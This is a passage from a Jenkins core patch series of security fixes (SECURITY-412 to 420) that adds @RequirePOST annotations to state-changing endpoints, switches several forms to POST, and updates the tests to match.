11/30] [SECURITY-413][SECURITY-414] RequirePOST in plugin manager --- core/src/main/java/hudson/PluginManager.java | 2 ++ core/src/main/java/hudson/model/UpdateCenter.java | 1 + 2 files changed, 3 insertions(+) diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index 999f67dea9..48323f635d 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -745,6 +745,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas LogFactory.release(uberClassLoader); } + @RequirePOST public HttpResponse doUpdateSources(StaplerRequest req) throws IOException { Jenkins.getInstance().checkPermission(CONFIGURE_UPDATECENTER); @@ -767,6 +768,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas /** * Performs the installation of the plugins. */ + @RequirePOST public void doInstall(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException { boolean dynamicLoad = req.getParameter("dynamicLoad")!=null; diff --git a/core/src/main/java/hudson/model/UpdateCenter.java b/core/src/main/java/hudson/model/UpdateCenter.java index 016efbe80a..9cebbba78d 100644 --- a/core/src/main/java/hudson/model/UpdateCenter.java +++ b/core/src/main/java/hudson/model/UpdateCenter.java @@ -366,6 +366,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas * * @since 1.432 */ + @RequirePOST public HttpResponse doInvalidateData() { Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); for (UpdateSite site : sites) { From 7975ab320e5dadb2f710b832f4caeae4a9a85b4f Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 1 Apr 2017 02:32:58 +0200 Subject: [PATCH 12/30] [SECURITY-415] RequirePOST on API token change --- core/src/main/java/jenkins/security/ApiTokenProperty.java | 2 ++ 1 file changed, 2 insertions(+) diff --git a/core/src/main/java/jenkins/security/ApiTokenProperty.java b/core/src/main/java/jenkins/security/ApiTokenProperty.java index 82d3d9616e..de21907d74 100644 --- a/core/src/main/java/jenkins/security/ApiTokenProperty.java +++ b/core/src/main/java/jenkins/security/ApiTokenProperty.java @@ -48,6 +48,7 @@ import javax.annotation.Nonnull; import org.apache.commons.lang.StringUtils; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; +import org.kohsuke.stapler.interceptor.RequirePOST; /** * Remembers the API token for this user, that can be used like a password to login. @@ -179,6 +180,7 @@ public class ApiTokenProperty extends UserProperty { return new ApiTokenProperty(API_KEY_SEED.mac(user.getId())); } + @RequirePOST public HttpResponse doChangeToken(@AncestorInPath User u, StaplerResponse rsp) throws IOException { ApiTokenProperty p = u.getProperty(ApiTokenProperty.class); if (p==null) { From 89be3bd785f3997f16a6d540d1f7c28f0424fde8 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 1 Apr 2017 02:33:28 +0200 Subject: [PATCH 13/30] [SECURITY-416] RequirePOST on system config submission --- core/src/main/java/jenkins/model/Jenkins.java | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index f24ff8a088..a897ca2be2 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -4059,6 +4059,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve } @Override + @RequirePOST public void doConfigSubmit(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException, FormException { Jenkins.getInstance().doConfigExecutorsSubmit(req, rsp); } From 40117acdc686387d694cb9bec3ce9454c3f93f59 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 1 Apr 2017 02:34:01 +0200 Subject: [PATCH 14/30] [SECURITY-417] RequirePOST on security configuration --- .../main/java/hudson/security/GlobalSecurityConfiguration.java | 2 ++ 1 file changed, 2 insertions(+) diff --git a/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java b/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java index de5deceebd..6d49cd1e70 100644 --- a/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java +++ b/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java @@ -47,6 +47,7 @@ import net.sf.json.JSONObject; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import org.kohsuke.stapler.interceptor.RequirePOST; /** * Security configuration. @@ -72,6 +73,7 @@ public class GlobalSecurityConfiguration extends ManagementLink implements Descr return Jenkins.getInstance().isDisableRememberMe(); } + @RequirePOST public synchronized void doConfigure(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException, FormException { // for compatibility reasons, the actual value is stored in Jenkins BulkChange bc = new BulkChange(Jenkins.getInstance()); From e0001e679beaf963cd4ae0ca68b4b073af9aa533 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 1 Apr 2017 02:34:38 +0200 Subject: [PATCH 15/30] [SECURITY-418] RequirePOST for signing up other users --- .../main/java/hudson/security/HudsonPrivateSecurityRealm.java | 2 ++ 1 file changed, 2 insertions(+) diff --git a/core/src/main/java/hudson/security/HudsonPrivateSecurityRealm.java b/core/src/main/java/hudson/security/HudsonPrivateSecurityRealm.java index 5bf6f1b8d4..9e2985ef55 100644 --- a/core/src/main/java/hudson/security/HudsonPrivateSecurityRealm.java +++ b/core/src/main/java/hudson/security/HudsonPrivateSecurityRealm.java @@ -59,6 +59,7 @@ import org.kohsuke.stapler.HttpResponses; import org.kohsuke.stapler.Stapler; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import org.kohsuke.stapler.interceptor.RequirePOST; import org.springframework.dao.DataAccessException; import javax.servlet.Filter; @@ -264,6 +265,7 @@ public class HudsonPrivateSecurityRealm extends AbstractPasswordBasedSecurityRea * This version behaves differently from {@link #doCreateAccount(StaplerRequest, StaplerResponse)} in that * this is someone creating another user. */ + @RequirePOST public void doCreateAccountByAdmin(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException { checkPermission(Jenkins.ADMINISTER); if(createAccount(req, rsp, false, "addUser.jelly")!=null) { From ae402ba139df82f3d105b9e070444f1849543fce Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 1 Apr 2017 02:35:27 +0200 Subject: [PATCH 16/30] [SECURITY-419] RequirePOST for creating a new node --- core/src/main/java/hudson/model/ComputerSet.java | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/java/hudson/model/ComputerSet.java b/core/src/main/java/hudson/model/ComputerSet.java index 40b71fb24e..6491b47fe1 100644 --- a/core/src/main/java/hudson/model/ComputerSet.java +++ b/core/src/main/java/hudson/model/ComputerSet.java @@ -280,6 +280,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl /** * Really creates a new slave. */ + @RequirePOST public synchronized void doDoCreateItem( StaplerRequest req, StaplerResponse rsp, @QueryParameter String name, @QueryParameter String type ) throws IOException, ServletException, FormException { From 73282957a11b0c79321b6ec18fcc35cf101b5ef1 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 1 Apr 2017 13:39:00 +0200 Subject: [PATCH 17/30] [SECURITY-415] Fix ApiTokenPropertyTest --- .../java/jenkins/security/ApiTokenPropertyTest.java | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/test/src/test/java/jenkins/security/ApiTokenPropertyTest.java b/test/src/test/java/jenkins/security/ApiTokenPropertyTest.java index a8bec3fe92..fb5a8fb0b8 100644 --- a/test/src/test/java/jenkins/security/ApiTokenPropertyTest.java +++ b/test/src/test/java/jenkins/security/ApiTokenPropertyTest.java @@ -6,6 +6,7 @@ import static org.junit.Assert.assertSame; import static org.junit.Assert.assertTrue; import com.gargoylesoftware.htmlunit.DownloadedContent; +import com.gargoylesoftware.htmlunit.HttpMethod; import com.gargoylesoftware.htmlunit.HttpWebConnection; import com.gargoylesoftware.htmlunit.WebConnection; import com.gargoylesoftware.htmlunit.WebRequest; @@ -135,7 +136,17 @@ public class ApiTokenPropertyTest { // Make sure that Admin can reset a token of another user WebClient wc = createClientForUser("bar"); - HtmlPage res = wc.goTo(foo.getUrl() + "/" + descriptor.getDescriptorUrl()+ "/changeToken"); + wc.getOptions().setThrowExceptionOnFailingStatusCode(false); + HtmlPage requirePOST = wc.goTo(foo.getUrl() + "/" + descriptor.getDescriptorUrl()+ "/changeToken"); + assertEquals("method should not be allowed", 405, requirePOST.getWebResponse().getStatusCode()); + + wc.getOptions().setThrowExceptionOnFailingStatusCode(true); + WebRequest request = new WebRequest(new URL(j.getURL().toString() + foo.getUrl() + "/" + descriptor.getDescriptorUrl()+ "/changeToken"), HttpMethod.POST); + wc.addCrumb(request); + HtmlPage res = wc.getPage(request); + + // TODO This nicer alternative requires https://github.com/jenkinsci/jenkins/pull/2268 or similar to work +// HtmlPage res = requirePOST.getPage().getForms().get(0).getElementsByAttribute("input", "type", "submit").get(0).click(); assertEquals("Update token response is incorrect", Messages.ApiTokenProperty_ChangeToken_SuccessHidden(), "
" + res.getBody().asText() + "
"); } From 4061e36c59c1dbc9c6d5199e1f9397f543e2e454 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 1 Apr 2017 16:34:12 +0200 Subject: [PATCH 18/30] [SECURITY-420] Add more RequirePOST annotations --- core/src/main/java/hudson/model/AbstractBuild.java | 1 + core/src/main/java/hudson/model/AbstractItem.java | 1 + core/src/main/java/hudson/model/AbstractProject.java | 1 + core/src/main/java/hudson/model/ComputerSet.java | 3 +++ core/src/main/java/hudson/model/DownloadService.java | 2 ++ core/src/main/java/hudson/model/Hudson.java | 2 ++ core/src/main/java/hudson/model/Run.java | 2 ++ core/src/main/java/hudson/model/TreeView.java | 1 + core/src/main/java/hudson/model/UpdateCenter.java | 1 + core/src/main/java/hudson/model/User.java | 1 + .../main/java/hudson/security/HudsonPrivateSecurityRealm.java | 3 +++ core/src/main/java/jenkins/model/Jenkins.java | 2 ++ 12 files changed, 20 insertions(+) diff --git a/core/src/main/java/hudson/model/AbstractBuild.java b/core/src/main/java/hudson/model/AbstractBuild.java index c017c716e7..d5627fa773 100644 --- a/core/src/main/java/hudson/model/AbstractBuild.java +++ b/core/src/main/java/hudson/model/AbstractBuild.java @@ -1367,6 +1367,7 @@ public abstract class AbstractBuild

,R extends Abs * Use {@link #doStop()} */ @Deprecated + @RequirePOST // #doStop() should be preferred, but better to be safe public void doStop(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException { doStop().generateResponse(req,rsp,this); } diff --git a/core/src/main/java/hudson/model/AbstractItem.java b/core/src/main/java/hudson/model/AbstractItem.java index edd3dc5503..06d214cf01 100644 --- a/core/src/main/java/hudson/model/AbstractItem.java +++ b/core/src/main/java/hudson/model/AbstractItem.java @@ -514,6 +514,7 @@ public abstract class AbstractItem extends Actionable implements Item, HttpDelet /** * Accepts the new description. */ + @RequirePOST public synchronized void doSubmitDescription( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException { checkPermission(CONFIGURE); diff --git a/core/src/main/java/hudson/model/AbstractProject.java b/core/src/main/java/hudson/model/AbstractProject.java index efc59f402b..2836ac4b14 100644 --- a/core/src/main/java/hudson/model/AbstractProject.java +++ b/core/src/main/java/hudson/model/AbstractProject.java @@ -792,6 +792,7 @@ public abstract class AbstractProject

,R extends A } @Override + @RequirePOST public void doConfigSubmit( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException, FormException { super.doConfigSubmit(req,rsp); diff --git a/core/src/main/java/hudson/model/ComputerSet.java b/core/src/main/java/hudson/model/ComputerSet.java index 6491b47fe1..0212d49ea6 100644 --- a/core/src/main/java/hudson/model/ComputerSet.java +++ b/core/src/main/java/hudson/model/ComputerSet.java @@ -200,6 +200,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl return Jenkins.getInstance().getComputer(token); } + @RequirePOST public void do_launchAll(StaplerRequest req, StaplerResponse rsp) throws IOException { Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); @@ -215,6 +216,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl * * TODO: ajax on the client side to wait until the update completion might be nice. */ + @RequirePOST public void doUpdateNow( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException { Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); @@ -231,6 +233,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl /** * First check point in creating a new slave. */ + @RequirePOST public synchronized void doCreateItem( StaplerRequest req, StaplerResponse rsp, @QueryParameter String name, @QueryParameter String mode, @QueryParameter String from ) throws IOException, ServletException { diff --git a/core/src/main/java/hudson/model/DownloadService.java b/core/src/main/java/hudson/model/DownloadService.java index 905199581c..822f134ad1 100644 --- a/core/src/main/java/hudson/model/DownloadService.java +++ b/core/src/main/java/hudson/model/DownloadService.java @@ -53,6 +53,7 @@ import org.kohsuke.accmod.restrictions.NoExternalUse; import org.kohsuke.stapler.Stapler; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import org.kohsuke.stapler.interceptor.RequirePOST; /** * Service for plugins to periodically retrieve update data files @@ -349,6 +350,7 @@ public class DownloadService extends PageDecorator { /** * This is where the browser sends us the data. */ + @RequirePOST public void doPostBack(StaplerRequest req, StaplerResponse rsp) throws IOException { DownloadSettings.checkPostBackAccess(); long dataTimestamp = System.currentTimeMillis(); diff --git a/core/src/main/java/hudson/model/Hudson.java b/core/src/main/java/hudson/model/Hudson.java index 17b5721a45..66881c5eac 100644 --- a/core/src/main/java/hudson/model/Hudson.java +++ b/core/src/main/java/hudson/model/Hudson.java @@ -40,6 +40,7 @@ import org.kohsuke.stapler.QueryParameter; import org.kohsuke.stapler.Stapler; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import org.kohsuke.stapler.interceptor.RequirePOST; import javax.servlet.ServletContext; import javax.servlet.ServletException; @@ -171,6 +172,7 @@ public class Hudson extends Jenkins { * Use {@link #doQuietDown()} instead. */ @Deprecated + @RequirePOST // Shouldn't be used anyway, but better be safe public synchronized void doQuietDown(StaplerResponse rsp) throws IOException, ServletException { doQuietDown().generateResponse(null, rsp, this); } diff --git a/core/src/main/java/hudson/model/Run.java b/core/src/main/java/hudson/model/Run.java index d3f0c11d1c..e13b590b6f 100644 --- a/core/src/main/java/hudson/model/Run.java +++ b/core/src/main/java/hudson/model/Run.java @@ -2124,6 +2124,7 @@ public abstract class Run ,RunT extends Run,RunT extends Run * This can be run by anyone, but only to create the very first user account. */ + @RequirePOST public void doCreateFirstAccount(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException { if(hasSomeUser()) { rsp.sendError(SC_UNAUTHORIZED,"First user was already created"); diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index a897ca2be2..ded6579c9f 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -2900,6 +2900,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve /** * Accepts submission from the configuration page. */ + @RequirePOST public synchronized void doConfigSubmit( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException, FormException { BulkChange bc = new BulkChange(this); try { @@ -3040,6 +3041,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve /** * Backward compatibility. Redirect to the thread dump. */ + // TODO annotate @GET once baseline includes Stapler version XXX public void doClassicThreadDump(StaplerResponse rsp) throws IOException, ServletException { rsp.sendRedirect2("threadDump"); } From e69c28e44dae41322112471e1c80f840bde314d4 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 1 Apr 2017 19:41:02 +0200 Subject: [PATCH 19/30] [SECURITY-412] Fix handling of restart/safeRestart URLs --- core/src/main/java/jenkins/model/Jenkins.java | 29 ++++++++++++++----- 1 file changed, 21 insertions(+), 8 deletions(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index ded6579c9f..2798d622cf 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -3367,8 +3367,6 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * * This first replaces "app" to {@link HudsonIsRestarting} */ - @CLIMethod(name="restart") - @RequirePOST public void doRestart(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException, RestartNotSupportedException { checkPermission(ADMINISTER); if (req != null && req.getMethod().equals("GET")) { @@ -3376,10 +3374,18 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve return; } - restart(); + if (req != null && req.getMethod().equals("POST")) { + restart(); + } - if (rsp != null) // null for CLI - rsp.sendRedirect2("."); + rsp.sendRedirect2("."); + } + + @CLIMethod(name="restart") + @Restricted(NoExternalUse.class) + public void cliRestart() throws RestartNotSupportedException { + checkPermission(ADMINISTER); + restart(); } /** @@ -3389,18 +3395,25 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * * @since 1.332 */ - @CLIMethod(name="safe-restart") - @RequirePOST public HttpResponse doSafeRestart(StaplerRequest req) throws IOException, ServletException, RestartNotSupportedException { checkPermission(ADMINISTER); if (req != null && req.getMethod().equals("GET")) return HttpResponses.forwardToView(this,"_safeRestart.jelly"); - safeRestart(); + if (req != null && req.getMethod().equals("POST")) { + safeRestart(); + } return HttpResponses.redirectToDot(); } + @CLIMethod(name="safe-restart") + @Restricted(NoExternalUse.class) + public void cliSafeRestart() throws RestartNotSupportedException { + checkPermission(ADMINISTER); + safeRestart(); + } + /** * Performs a restart. */ From 20b42f7339575d3e764a2d937ded7de55a29a30d Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 1 Apr 2017 19:41:11 +0200 Subject: [PATCH 20/30] [SECURITY-420] Submit form to (not) keep build forever via POST --- core/src/main/resources/hudson/model/Run/logKeep.jelly | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/resources/hudson/model/Run/logKeep.jelly b/core/src/main/resources/hudson/model/Run/logKeep.jelly index fe9545e756..67d070fb02 100644 --- a/core/src/main/resources/hudson/model/Run/logKeep.jelly +++ b/core/src/main/resources/hudson/model/Run/logKeep.jelly @@ -28,7 +28,7 @@ THE SOFTWARE. -

+ From 912e96367858f3dcbf1ce6cb8e6436d3dfcd5252 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Fri, 4 Mar 2016 13:11:53 -0800 Subject: [PATCH 21/30] Fixing a test Previously, when the 2nd `e.click()` is called, the page has already transitioned to another page, so the anchor objects have become invalid. HtmlUnit somehow still manages to follow a link, except when there's some JavaScript attached to the onclick() handler it's going to execute in a strange environment. Some management link requires a POST, and that was done via JavaScript. So that broke the test. --- .../java/hudson/model/ManagementLinkTest.java | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/test/src/test/java/hudson/model/ManagementLinkTest.java b/test/src/test/java/hudson/model/ManagementLinkTest.java index 4b19f2c8bb..5de5dd3d51 100644 --- a/test/src/test/java/hudson/model/ManagementLinkTest.java +++ b/test/src/test/java/hudson/model/ManagementLinkTest.java @@ -31,6 +31,7 @@ import com.gargoylesoftware.htmlunit.html.HtmlPage; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.JenkinsRule.WebClient; import java.util.List; @@ -47,11 +48,15 @@ public class ManagementLinkTest { */ @Test public void links() throws Exception { - HtmlPage page = j.createWebClient().goTo("manage"); - List anchors = DomNodeUtil.selectNodes(page, "id('management-links')//*[@class='link']/a[not(@onclick)]"); - assertTrue(anchors.size()>=8); - for(HtmlAnchor e : (List) anchors) { - e.click(); + WebClient wc = j.createWebClient(); + + for (int i=0; ; i++) { + HtmlPage page = wc.goTo("manage"); + List anchors = DomNodeUtil.selectNodes(page, "id('management-links')//*[@class='link']/a[not(@onclick)]"); + assertTrue(anchors.size()>=8); + if (i==anchors.size()) return; // done + + ((HtmlAnchor)anchors.get(i)).click(); } } } From 758dfd474cc0dac6469d9ab3e42ca7a1c02bb04b Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Tue, 4 Apr 2017 15:27:33 +0200 Subject: [PATCH 22/30] [SECURITY-420] Remove obsolete comments --- core/src/main/java/hudson/model/Hudson.java | 2 +- core/src/main/java/jenkins/model/Jenkins.java | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/model/Hudson.java b/core/src/main/java/hudson/model/Hudson.java index 66881c5eac..acfc4f7047 100644 --- a/core/src/main/java/hudson/model/Hudson.java +++ b/core/src/main/java/hudson/model/Hudson.java @@ -172,7 +172,7 @@ public class Hudson extends Jenkins { * Use {@link #doQuietDown()} instead. */ @Deprecated - @RequirePOST // Shouldn't be used anyway, but better be safe + @RequirePOST public synchronized void doQuietDown(StaplerResponse rsp) throws IOException, ServletException { doQuietDown().generateResponse(null, rsp, this); } diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 2798d622cf..3723703001 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -2990,7 +2990,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve getPrimaryView().doSubmitDescription(req, rsp); } - @RequirePOST // TODO does not seem to work on _either_ overload! + @RequirePOST public synchronized HttpRedirect doQuietDown() throws IOException { try { return doQuietDown(false,0); From 4fe9454cb17d51f02a66a88ec90588eccb9b9136 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Tue, 4 Apr 2017 15:30:42 +0200 Subject: [PATCH 23/30] [SECURITY-420] fingerprintCheck.jelly uses POST, to require it --- core/src/main/java/jenkins/model/Jenkins.java | 2 ++ 1 file changed, 2 insertions(+) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 3723703001..58ead664a5 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -3280,10 +3280,12 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve /** * Do a finger-print check. */ + @RequirePOST public void doDoFingerprintCheck( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException { // Parse the request MultipartFormDataParser p = new MultipartFormDataParser(req); if(isUseCrumbs() && !getCrumbIssuer().validateCrumb(req, p)) { + // TODO investigate whether this check can be removed rsp.sendError(HttpServletResponse.SC_FORBIDDEN,"No crumb found"); } try { From eeb699ed8c2ce937f2b836692b36a98da7bb5622 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Thu, 13 Apr 2017 15:01:12 +0200 Subject: [PATCH 24/30] [SECURITY-420] Fix form to submit POST --- core/src/main/resources/hudson/model/ComputerSet/index.jelly | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/resources/hudson/model/ComputerSet/index.jelly b/core/src/main/resources/hudson/model/ComputerSet/index.jelly index 421865bd2c..c98d843c40 100644 --- a/core/src/main/resources/hudson/model/ComputerSet/index.jelly +++ b/core/src/main/resources/hudson/model/ComputerSet/index.jelly @@ -96,7 +96,7 @@ THE SOFTWARE.
- +
From 23f4809e6c10a221e9d67f2e841536845387b42d Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Thu, 13 Apr 2017 15:01:32 +0200 Subject: [PATCH 25/30] [SECURITY-412] Simplify implementation as suggested by jglick --- core/src/main/java/jenkins/model/Jenkins.java | 20 ++++--------------- 1 file changed, 4 insertions(+), 16 deletions(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 58ead664a5..eff060916b 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -3369,6 +3369,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * * This first replaces "app" to {@link HudsonIsRestarting} */ + @CLIMethod(name="restart") public void doRestart(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException, RestartNotSupportedException { checkPermission(ADMINISTER); if (req != null && req.getMethod().equals("GET")) { @@ -3376,20 +3377,13 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve return; } - if (req != null && req.getMethod().equals("POST")) { + if (req == null || req.getMethod().equals("POST")) { restart(); } rsp.sendRedirect2("."); } - @CLIMethod(name="restart") - @Restricted(NoExternalUse.class) - public void cliRestart() throws RestartNotSupportedException { - checkPermission(ADMINISTER); - restart(); - } - /** * Queues up a restart of Jenkins for when there are no builds running, if we can. * @@ -3397,25 +3391,19 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * * @since 1.332 */ + @CLIMethod(name="safe-restart") public HttpResponse doSafeRestart(StaplerRequest req) throws IOException, ServletException, RestartNotSupportedException { checkPermission(ADMINISTER); if (req != null && req.getMethod().equals("GET")) return HttpResponses.forwardToView(this,"_safeRestart.jelly"); - if (req != null && req.getMethod().equals("POST")) { + if (req == null || req.getMethod().equals("POST")) { safeRestart(); } return HttpResponses.redirectToDot(); } - @CLIMethod(name="safe-restart") - @Restricted(NoExternalUse.class) - public void cliSafeRestart() throws RestartNotSupportedException { - checkPermission(ADMINISTER); - safeRestart(); - } - /** * Performs a restart. */ From 6201c628b0bfb22b176a49f27fa4e2881233be6a Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Tue, 4 Apr 2017 23:34:44 +0200 Subject: [PATCH 26/30] [SECURITY-420] RequirePOST methods added in 2.0 --- core/src/main/java/jenkins/install/SetupWizard.java | 2 ++ core/src/main/java/jenkins/tools/GlobalToolConfiguration.java | 2 ++ 2 files changed, 4 insertions(+) diff --git a/core/src/main/java/jenkins/install/SetupWizard.java b/core/src/main/java/jenkins/install/SetupWizard.java index 0cf0735e5d..2d98160b9b 100644 --- a/core/src/main/java/jenkins/install/SetupWizard.java +++ b/core/src/main/java/jenkins/install/SetupWizard.java @@ -60,6 +60,7 @@ import net.sf.json.JSONObject; import org.apache.commons.io.FileUtils; import org.apache.commons.io.IOUtils; import org.kohsuke.accmod.restrictions.DoNotUse; +import org.kohsuke.stapler.interceptor.RequirePOST; /** * A Jenkins instance used during first-run to provide a limited set of services while @@ -216,6 +217,7 @@ public class SetupWizard extends PageDecorator { /** * Called during the initial setup to create an admin user */ + @RequirePOST public void doCreateAdminUser(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException { Jenkins j = Jenkins.getInstance(); j.checkPermission(Jenkins.ADMINISTER); diff --git a/core/src/main/java/jenkins/tools/GlobalToolConfiguration.java b/core/src/main/java/jenkins/tools/GlobalToolConfiguration.java index 209c4a1b72..cb08b7f618 100644 --- a/core/src/main/java/jenkins/tools/GlobalToolConfiguration.java +++ b/core/src/main/java/jenkins/tools/GlobalToolConfiguration.java @@ -38,6 +38,7 @@ import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import org.kohsuke.stapler.interceptor.RequirePOST; import javax.servlet.ServletException; import java.io.IOException; @@ -73,6 +74,7 @@ public class GlobalToolConfiguration extends ManagementLink { return Jenkins.ADMINISTER; } + @RequirePOST public synchronized void doConfigure(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException, Descriptor.FormException { boolean result = configure(req, req.getSubmittedForm()); LOGGER.log(Level.FINE, "tools saved: "+result); From ad113557a2d2e341ef278ebb7612049c5caf5bbf Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 12 Apr 2017 18:15:45 +0200 Subject: [PATCH 27/30] [SECURITY-420] Add RequirePOST --- core/src/main/java/jenkins/model/Jenkins.java | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 410f203d74..b34b329e8d 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -1291,6 +1291,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve return Jenkins.getSlaveAgentPortInitialValue(slaveAgentPort); } + @RequirePOST public void doAct(StaplerRequest req, StaplerResponse rsp) throws IOException { j.forceSetSlaveAgentPort(getExpectedPort()); rsp.sendRedirect2(req.getContextPath() + "/manage"); From 566cb370d7254087cbeb7cd713acff720e61b5ab Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 13 Apr 2017 13:53:17 -0400 Subject: [PATCH 28/30] Adjusting comment. --- core/src/main/java/jenkins/model/Jenkins.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 7d6b3edd50..77eaeb8b01 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -876,7 +876,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve adjuncts = new AdjunctManager(servletContext, pluginManager.uberClassLoader,"adjuncts/"+SESSION_HASH, TimeUnit2.DAYS.toMillis(365)); // TODO pending move to standard blacklist, or API to append filter - if (System.getProperty(ClassFilter.FILE_OVERRIDE_LOCATION_PROPERTY) == null) { // TODO 2.4+ SystemProperties + if (System.getProperty(ClassFilter.FILE_OVERRIDE_LOCATION_PROPERTY) == null) { // not using SystemProperties since ClassFilter does not either try { Field blacklistPatternsF = ClassFilter.DEFAULT.getClass().getDeclaredField("blacklistPatterns"); blacklistPatternsF.setAccessible(true); From d6773274284eaeaad4ece6ebfa98709c641807e1 Mon Sep 17 00:00:00 2001 From: Jesse Glick 